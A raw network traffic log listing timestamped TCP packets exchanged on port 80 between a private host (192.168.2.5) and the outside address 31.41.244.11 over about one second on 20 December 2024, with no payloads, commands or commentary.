Dec 20, 2024 13:12:23.846174955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.846226931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.984215975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.984263897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.984317064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.984359980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.984709024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.984719992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.984769106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.985686064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.985753059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.985860109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.985904932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.986785889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.986797094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.986835003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.987739086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.987797022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.988707066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.988837957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.988928080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.988970041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.988997936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.989039898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.989907980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.989967108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.990345001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.990391970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.991058111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.991103888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.991961956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.991974115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.992012978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.992063046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.992120028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.992988110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.993043900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.993093014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.993151903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.994076967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.994126081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.994273901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.994319916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.995105028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.995151043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.995210886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.995258093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.996189117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.996237993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.997005939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.997051954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.997226000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.997236013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.997277021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.998255968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.998305082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.998370886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.998418093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.999492884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.999605894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.999825954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.999880075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.000447035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.000499010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.000611067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.000663042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.001534939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.001586914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.001718044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.001770020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.002515078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.002567053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.003438950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.003489971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.003655910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.003693104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.003706932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.003741980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.004709959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.004766941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.004878044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.004928112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.005753040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.005805969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.006131887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.006184101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.006726980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.006787062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.006835938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.006886959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.007821083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.007874012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.008820057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.008855104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.008871078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.008902073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.008903027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.008955002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.009857893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.009957075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.010179043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.010231972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.010910988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.010963917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.011091948 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.011143923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.012001038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.012054920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.012130022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.012183905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.013117075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.013169050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.014046907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.014101028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.014303923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.014338017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.014354944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.014384985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.016182899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.016236067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.016243935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.016293049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.016295910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.016330004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.016345978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.016396046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.017240047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.017290115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.017293930 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.017344952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.018184900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.018239021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.018415928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.018466949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.019252062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.019305944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.019448042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.019495964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.020392895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.020426035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.020443916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.020477057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.021357059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.021415949 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.021473885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.021538019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.022569895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.022625923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.022702932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.022756100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.023478985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.023605108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.023632050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.023679972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.024485111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.024533987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.024580956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.024636030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.025641918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.025692940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.025778055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.025832891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.026603937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.026659966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.026833057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.026885986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.027718067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.027767897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.028656960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.028708935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.028877974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.028913021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.028928995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.028964043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.029875040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.029930115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.030267000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.030318975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.030819893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.030873060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.030977011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.031028032 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.032083035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.032134056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.033133984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.033184052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.033185005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.033240080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.033250093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.033299923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.033936977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.033992052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.034308910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.034360886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.035075903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.035110950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.035126925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.035160065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.036067963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.036123037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.037175894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.037210941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.037230968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.037245989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.037261009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.037297010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.038332939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.038383961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.038630009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.038680077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.039237022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.039288044 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.176920891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.177105904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.177177906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.177239895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.177292109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.177336931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.177386999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.178303957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.178364992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.178402901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.178467035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.179399014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.179435015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.179447889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.179481983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.180383921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.180932045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.180979967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.181410074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.181462049 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.182137012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.182183981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.182492018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.182533979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.182718992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.182761908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.183629990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.183679104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.183756113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.183804035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.184623003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.185322046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.185384989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.185666084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.185700893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.185723066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.185754061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.186729908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.186791897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.186927080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.186979055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.187829018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.187895060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.187969923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.188030005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.188884974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.188942909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.188997030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.189042091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.189920902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.189975023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.190051079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.190105915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.190871000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.190918922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.191283941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.191329956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.191924095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.191975117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.192049026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.192940950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.192991972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.193346977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.193397999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.194130898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.194165945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.194190025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.194210052 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.195036888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.195092916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.195167065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.195216894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.196079016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.196352005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.196543932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.196597099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.197225094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.197321892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.197356939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.197410107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.198215961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.198271036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.198347092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.198400974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.199249029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.199304104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.199382067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.199434042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.200287104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.200340986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.200670958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.200722933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.201307058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.201359987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.202133894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.202187061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.202429056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.202477932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.202689886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.202742100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.203402042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.203454971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.203933001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.203983068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.204464912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.204519033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.204641104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.204694986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.205535889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.205590010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.206307888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.206361055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.206747055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.206798077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.206857920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.206909895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.207756042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.207792044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.207809925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.207835913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.208765984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.208820105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.208924055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.208976984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.209697008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.209748983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.210011005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.210063934 CET	49859	80	192.168.2.5	31.41.244.11
